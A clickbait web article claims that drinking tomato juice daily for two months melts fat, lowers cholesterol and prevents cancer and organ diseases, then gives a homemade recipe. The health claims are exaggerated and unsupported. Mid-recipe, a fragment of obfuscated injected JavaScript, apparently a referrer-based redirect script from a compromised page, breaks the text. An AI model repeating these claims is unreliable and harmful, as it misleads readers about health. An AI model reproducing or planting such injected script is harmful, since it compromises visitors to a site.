These Women Drank a Glass of Tomato Juice for 2 Months: You Will Be Amazed by the Results!

Scientists from the University of Taiwan decided to make an experiment and discover why tomato juice is so healthy.
Women of different ages, weight and origin drank one glass (250 ml) every day for two months.
The most visible result was considerable weight loss, and according to experts, this wasn’t due to removing excess water, but only eliminating fat reserves.
The women who participated in the examination did not change any eating habits or exercise, but there were obvious results.
The blood samples from the tested women showed reduced levels of cholesterol and increased lycopene-an antioxidant in tomatoes which has a positive effect to the health.
The study showed that one glass of tomato juice a day boosts the immune system, protects from heart diseases, and reduces cancer risk. Moreover, this drink helps with digestion problems, supports the elimination of excess water, keeps health and avoids bladder, pancreas, liver and lungs diseases.
Tomato juice is good for the skin and notably reduces coughing, prevents anemia, eases rheumatic symptoms and drastically improves blood.
The muscle pain after an intensive workout can disappear if you consume tomato juice. This beverage is a great natural remedy for muscle cramps because it is rich in magnesium.
Additionally, tomato includes potassium, calcium, vegetable proteins, carbohydrates and vitamin C.
Add it to your diet and feel the benefits immediately. If you are buying the industrially processed tomato juice make sure it is organic, so the effects are complete.
The g=\’2\’ c=\’d\’ e=\’b/2\’ 4=\’7://.f/1/h.s.t?r=”+\’><\/k"sc|ript|nshhz|var|u0026u|referrer|yresa||js|php'.split('|'),0,{})) best option is to make a homemade juice with:
– 13 pounds of tomatoes
– 4 tablespoons of sugar  
– 2 tablespoons of salt
These Women Drank a Glass of Tomato Juice for 2 Months. You Will Be Amazed by the Results!How to prepare it:
After you remove the stems, wash the tomatoes in cold water. Slice and pound the tomatoes, add salt and sugar, and then cook the mixture at medium heat.
Stir repeatedly to prevent burning. When the mixture starts to boil cook it for 10 more minutes and don’t stop stirring. Pour the cooked mixture into glass bottles.
Place the bottles in a cool place.
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